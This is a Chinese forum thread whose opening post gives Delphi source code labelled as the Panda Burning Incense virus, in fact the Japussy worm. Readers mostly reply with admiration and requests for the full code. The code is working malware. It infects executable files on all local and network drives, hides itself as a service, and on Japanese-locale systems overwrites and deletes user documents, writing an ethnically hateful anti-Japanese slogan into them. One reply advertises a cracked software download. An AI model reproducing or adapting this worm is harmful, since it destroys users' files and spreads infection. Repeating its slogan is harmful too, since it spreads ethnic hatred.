【IT】熊猫烧香病毒源代码 (32/1271)

< 上一篇下一篇 >
本帖地址: 复制地址

修改 回帖 引用 楼主: 噯天使d噁魔

用户形象图片

本文链接:http://user.qzone.qq.com/563165455/blog/1216903129
program Japussy;
uses
Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry};
const
HeaderSize = 82432;         //病毒体的大小
IconOffset = $12EB8;       //PE文件主图标的偏移量
//在我的Delphi5 SP1上面编译得到的大小,其它版本的Delphi可能不同
//查找2800000020的十六进制字符串可以找到主图标的偏移量
{
HeaderSize = 38912;         //Upx压缩过病毒体的大小
IconOffset = $92BC;         //Upx压缩过PE文件主图标的偏移量
//Upx 1.24W 用法: upx -9 --8086 Japussy.exe
}
IconSize   = $2E8;         //PE文件主图标的大小--744字节
IconTail   = IconOffset + IconSize; //PE文件主图标的尾部
ID     = $44444444;       //感染标记
//垃圾码,以备写入
Catchword = 'If a race need to be killed out, it must be Yamato. ' +
    'If a country need to be destroyed, it must be Japan! ' +
    '*** W32.Japussy.Worm.A ***';
{$R *.RES}
function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer;
stdcall; external 'Kernel32.dll'; //函数声明
var
TmpFile: string;
Si:   STARTUPINFO;
Pi:   PROCESS_INFORMATION;
IsJap:   Boolean = False; //日文操作系统标记
{ 判断是否为Win9x }
function IsWin9x: Boolean;
var
Ver: TOSVersionInfo;
begin
Result := False;
Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
if not GetVersionEx(Ver) then
Exit;
if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9x
Result := True;
end;
{ 在流之间复制 }
procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream;
dStartPos: Integer; Count: Integer);
var
sCurPos, dCurPos: Integer;
begin
sCurPos := Src.Position;
dCurPos := Dst.Position;
Src.Seek(sStartPos, 0);
Dst.Seek(dStartPos, 0);
Dst.CopyFrom(Src, Count);
Src.Seek(sCurPos, 0);
Dst.Seek(dCurPos, 0);
end;
{ 将宿主文件从已感染的PE文件中分离出来,以备使用 }
procedure ExtractFile(FileName: string);
var
sStream, dStream: TFileStream;
begin
try
sStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
try
  dStream := TFileStream.Create(FileName, fmCreate);
  try
  sStream.Seek(HeaderSize, 0); //跳过头部的病毒部分
  dStream.CopyFrom(sStream, sStream.Size - HeaderSize);
  finally
  dStream.Free;
  end;
finally
  sStream.Free;
end;
except
end;
end;
{ 填充STARTUPINFO结构 }
procedure FillStartupInfo(var Si: STARTUPINFO; State: Word);
begin
Si.cb := SizeOf(Si);
Si.lpReserved := nil;
Si.lpDesktop := nil;
Si.lpTitle := nil;
Si.dwFlags := STARTF_USESHOWWINDOW;
Si.wShowWindow := State;
Si.cbReserved2 := 0;
Si.lpReserved2 := nil;
end;
{ 发带毒邮件 }
procedure SendMail;
begin
//
end;
{ 感染PE文件 }
procedure InfectOneFile(FileName: string);
var
HdrStream, SrcStream: TFileStream;
IcoStream, DstStream: TMemoryStream;
iID: LongInt;
aIcon: TIcon;
Infected, IsPE: Boolean;
i: Integer;
Buf: array[0..1] of Char;
begin
try //出错则文件正在被使用,退出
if CompareText(FileName, 'JAPUSSY.EXE') = 0 then //是自己则不感染
  Exit;
Infected := False;
IsPE   := False;
SrcStream := TFileStream.Create(FileName, fmOpenRead);
try
  for i := 0 to $108 do //检查PE文件头
  begin
  SrcStream.Seek(i, soFromBeginning);
  SrcStream.Read(Buf, 2);
  if (Buf[0] = #80) and (Buf[1] = #69) then //PE标记
  begin
    IsPE := True; //是PE文件
    Break;
  end;
  end;
  SrcStream.Seek(-4, soFromEnd); //检查感染标记
  SrcStream.Read(iID, 4);
  if (iID = ID) or (SrcStream.Size < 10240) then //太小的文件不感染
  Infected := True;
finally
  SrcStream.Free;
end;
if Infected or (not IsPE) then //如果感染过了或不是PE文件则退出
  Exit;
IcoStream := TMemoryStream.Create;
DstStream := TMemoryStream.Create;
try
  aIcon := TIcon.Create;
  try
  //得到被感染文件的主图标(744字节),存入流
  aIcon.ReleaseHandle;
  aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0);
  aIcon.S**eToStream(IcoStream);
  finally
  aIcon.Free;
  end;
  SrcStream := TFileStream.Create(FileName, fmOpenRead);
  //头文件
  HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
  try
  //写入病毒体主图标之前的数据
  CopyStream(HdrStream, 0, DstStream, 0, IconOffset);
  //写入目前程序的主图标
  CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize);
  //写入病毒体主图标到病毒体尾部之间的数据
  CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail);
  //写入宿主程序
  CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size);
  //写入已感染的标记
  DstStream.Seek(0, 2);
  iID := $44444444;
  DstStream.Write(iID, 4);
  finally
  HdrStream.Free;
  end;
finally
  SrcStream.Free;
  IcoStream.Free;
  DstStream.S**eToFile(FileName); //替换宿主文件
  DstStream.Free;
end;
except;
end;
end;
{ 将目标文件写入垃圾码后删除 }
procedure SmashFile(FileName: string);
var
FileHandle: Integer;
i, Size, Mass, Max, Len: Integer;
begin
try
SetFileAttributes(PChar(FileName), 0); //去掉只读属性
FileHandle := FileOpen(FileName, fmOpenWrite); //打开文件
try
  Size := GetFileSize(FileHandle, nil); //文件大小
  i := 0;
  Randomize;
  Max := Random(15); //写入垃圾码的随机次数
  if Max < 5 then
  Max := 5;
  Mass := Size div Max; //每个间隔块的大小
  Len := Length(Catchword);
  while i < Max do
  begin
  FileSeek(FileHandle, i * Mass, 0); //定位
  //写入垃圾码,将文件彻底破坏掉
  FileWrite(FileHandle, Catchword, Len);
  Inc(i);
  end;
finally
  FileClose(FileHandle); //关闭文件
end;
DeleteFile(PChar(FileName)); //删除之
except
end;
end;
{ 获得可写的驱动器列表 }
function GetDrives: string;
var
DiskType: Word;
D: Char;
Str: string;
i: Integer;
begin
for i := 0 to 25 do //遍历26个字母
begin
D := Chr(i + 65);
Str := D + ':\';
DiskType := GetDriveType(PChar(Str));
//得到本地磁盘和网络盘
if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then
  Result := Result + D;
end;
end;
{ 遍历目录,感染和摧毁文件 }
procedure LoopFiles(Path, Mask: string);
var
i, Count: Integer;
Fn, Ext: string;
SubDir: TStrings;
SearchRec: TSearchRec;
Msg: TMsg;
function IsValidDir(SearchRec: TSearchRec): Integer;
begin
if (SearchRec.Attr <> 16) and (SearchRec.Name <> '.') and
  (SearchRec.Name <> '..') then
  Result := 0 //不是目录
else if (SearchRec.Attr = 16) and (SearchRec.Name <> '.') and
  (SearchRec.Name <> '..') then
  Result := 1 //不是根目录
else Result := 2; //是根目录
end;
begin
if (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) then
begin
repeat
  PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //调整消息队列,避免引起怀疑
  if IsValidDir(SearchRec) = 0 then
  begin
  Fn := Path + SearchRec.Name;
  Ext := UpperCase(ExtractFileExt(Fn));
  if (Ext = '.EXE') or (Ext = '.SCR') then
  begin
    InfectOneFile(Fn); //感染可执行文件  
  end
  else if (Ext = '.HTM') or (Ext = '.HTML') or (Ext = '.ASP') then
  begin
    //感染HTML和ASP文件,将Base64编码后的病毒写入
    //感染浏览此网页的所有用户
    //哪位大兄弟愿意完成之?
  end
  else if Ext = '.WAB' then //Outlook地址簿文件
  begin
    //获取Outlook邮件地址
  end
  else if Ext = '.ADC' then //Foxmail地址自动完成文件
  begin
    //获取Foxmail邮件地址
  end
  else if Ext = 'IND' then //Foxmail地址簿文件
  begin
    //获取Foxmail邮件地址
  end
  else
  begin
    if IsJap then //是倭文操作系统
    begin
    if (Ext = '.DOC') or (Ext = '.XLS') or (Ext = '.MDB') or
    (Ext = '.MP3') or (Ext = '.RM') or (Ext = '.RA') or
    (Ext = '.WMA') or (Ext = '.ZIP') or (Ext = '.RAR') or
    (Ext = '.MPEG') or (Ext = '.ASF') or (Ext = '.JPG') or
    (Ext = '.JPEG') or (Ext = '.GIF') or (Ext = '.SWF') or
    (Ext = '.PDF') or (Ext = '.CHM') or (Ext = '.**I') then
      SmashFile(Fn); //摧毁文件
    end;
  end;
  end;
  //感染或删除一个文件后睡眠200毫秒,避免CPU占用率过高引起怀疑
  Sleep(200);
until (FindNext(SearchRec) <> 0);
end;
FindClose(SearchRec);
SubDir := TStringList.Create;
if (FindFirst(Path + '*.*', faDirectory, SearchRec) = 0) then
begin
repeat
  if IsValidDir(SearchRec) = 1 then
  SubDir.Add(SearchRec.Name);
until (FindNext(SearchRec) <> 0);
end;
FindClose(SearchRec);
Count := SubDir.Count - 1;
for i := 0 to Count do
LoopFiles(Path + SubDir.Strings + '\', Mask);
FreeAndNil(SubDir);
end;
{ 遍历磁盘上所有的文件 }
procedure InfectFiles;
var
DriverList: string;
i, Len: Integer;
begin
if GetACP = 932 then //日文操作系统
IsJap := True; //去死吧!
DriverList := GetDrives; //得到可写的磁盘列表
Len := Length(DriverList);
while True do //死循环
begin
for i := Len downto 1 do //遍历每个磁盘驱动器
  LoopFiles(DriverList + ':\', '*.*'); //感染之
SendMail; //发带毒邮件
Sleep(1000 * 60 * 5); //睡眠5分钟
end;
end;
{ 主程序开始 }
begin
if IsWin9x then //是Win9x
RegisterServiceProcess(GetCurrentProcessID, 1) //注册为服务进程
else //WinNT
begin
//远程线程映射到Explorer进程
//哪位兄台愿意完成之?
end;
//如果是原始病毒体自己
if CompareText(ExtractFileName(ParamStr(0)), 'Japussy.exe') = 0 then
InfectFiles //感染和发邮件
else //已寄生于宿主程序上了,开始工作
begin
TmpFile := ParamStr(0); //创建临时文件
Delete(TmpFile, Length(TmpFile) - 4, 4);
TmpFile := TmpFile + #32 + '.exe'; //真正的宿主文件,多一个空格
ExtractFile(TmpFile); //分离之
FillStartupInfo(Si, SW_SHOWDEFAULT);
CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True,
  0, nil, '.', Si, Pi); //创建新进程运行之
InfectFiles; //感染和发邮件
end;
end.
 
 

噯天使d噁魔 (563165455) 于 2008-08-07 17:20:17 对此贴进行了编辑
回到帖子顶部

回帖 引用 1楼[楼主] 噯天使d噁魔

用户形象图片

希望大家不要乱发病毒,只供研究!
回到帖子顶部

回帖 引用 2楼/li浪客~~~

用户形象图片

Delphi5 不懂,看的头大
回到帖子顶部

回帖 引用 3楼賴┺尐

用户形象图片

我也不懂..不过还是觉得本帖发的太晚了。
如果早一年发出来的话..
那就是HOT加精加置顶的帖啦
回到帖子顶部

回帖 引用 4楼讓LovEゞ瀡缘

用户形象图片

呵呵,这不是全部代码,只是部分代码!
回到帖子顶部

回帖 引用 5楼 艾伦κ℡

用户形象图片

称霸一时的病毒
汗......
回到帖子顶部

回帖 引用 6楼、 境甴忈玍

用户形象图片

06年的毒王 
回到帖子顶部

回帖 引用 7楼 じ婲淚

用户形象图片

经典!找了好长时间了  潜水..........
回到帖子顶部

回帖 引用 8楼掠过脸颊

用户形象图片

问下是不是把汉字去掉就是病毒?
回到帖子顶部

回帖 引用 9楼掠过脸颊

用户形象图片

4F滴?把病毒完整原代码发给我好么?不要病毒。。要个TXT文件就好。。。中毒就惨了。。谢谢
回到帖子顶部

回帖 引用 10楼─━☆沉默づ

用户形象图片

其实我看不懂,只来坐下沙发
回到帖子顶部

回帖 引用 11楼κiゞ☆綠銫

用户形象图片

看不懂    不过还是支持下LZ
回到帖子顶部

回帖 引用 12楼 _¨.Xx〢.

用户形象图片

 这代码不怎么对吧` 我感觉有的地方都还少东西..
    你是在什么地方找的这代码哟`?
回到帖子顶部

回帖 引用 13楼......

用户形象图片

我不是很懂诶~!这个我们只在选修课学了点
回到帖子顶部

回帖 引用 14楼不是没有终点

用户形象图片

拿回去研究一下哈
回到帖子顶部

回帖 引用 15楼 句 °點

用户形象图片

这个是用JAVA编的吧?
还是什么
至少不是C++
回到帖子顶部

回帖 引用 16楼┊☆..培培℡

用户形象图片

花了一个上午的时间研究了这段代码.
觉得很有意思,
不知大家有没有发现,代码很简单。
但是实现了你意想不到的操作.
当初李俊写这个病毒的时候根本没想过要把他当作病毒来使用.
不然他也不会只赚了几十万而已.

天妒英才啊.李俊如果还有15分钟的时间他现在可能是金山公司的骨干人员了!
回到帖子顶部

回帖 引用 17楼ヾw0rм

用户形象图片

貌似很多精华部分都给XXXX了

 ------------LZ很邪恶
回到帖子顶部

回帖 引用 18楼 Sun ,

用户形象图片

研究研究,收藏了!
回到帖子顶部

回帖 引用 19楼Ray丨灬飞飞

用户形象图片

这难道就是传说中熊猫烧香的代码。
久仰久仰!
回到帖子顶部

回帖 引用 20楼无心睡眠

用户形象图片

神话般的代码,厉害啊1!!!
回到帖子顶部

回帖 引用 21楼寡妇村村长

用户形象图片

部分代码而已,怎么可能是全的,在百度一搜,大把的
回到帖子顶部

回帖 引用 22楼 黯夜冰枫

用户形象图片

这个我的邮箱还在么,什么时候就有了啊
回到帖子顶部

回帖 引用 23楼

用户形象图片

        不懂   
回到帖子顶部

回帖 引用 24楼堕落

用户形象图片

有全部的么   做好家教程的     有的Q395401651   谢谢   我想研究一下
回到帖子顶部

回帖 引用 25楼.蔠 嚸▍*.

用户形象图片

鹏兴汽修汽配软件,内部人员破解版
 下载地址:http://www.onlinedown.net/soft/65928.htm
   注册码请问我索要,联系QQ121800103
回到帖子顶部

回帖 引用 26楼@独孤々浪子&

用户形象图片

是红色黑客网站上转载来的吧?
回到帖子顶部

回帖 引用 27楼唯ミ﹏尛柒

用户形象图片

回到帖子顶部

回帖 引用 28楼暗黑魔神

用户形象图片

这是用什么语言写的啊 
回到帖子顶部

回帖 引用 29楼雪鹰

用户形象图片

哇,太有才了............
回到帖子顶部

回帖 引用 30楼Data

用户形象图片

那是注释 没关系的 这是部分代码 聪明人都Delphi
回到帖子顶部
个人信息
  • 荣誉+3
  • 荣誉+2
  • 荣誉+1
  • 荣誉-1
  • 荣誉-2
  • 荣誉-3
发表留言
  • 文章不错!
  • 精华好文!
  • 支持原创文章!
  • 帖子图文并茂,好!
  • 真知灼见,说得好!
  • 恶意广告
  • 违规内容
  • 严重灌水
  • 重复发帖
  • 标题党
你确定要删除此楼层吗
扣20点经验值

快速回复进入高级回复

插入图片 选择表情

验证码 看不清?换一张(不区分大小写)

[完成后按Ctrl+Enter发表]
[回复须知]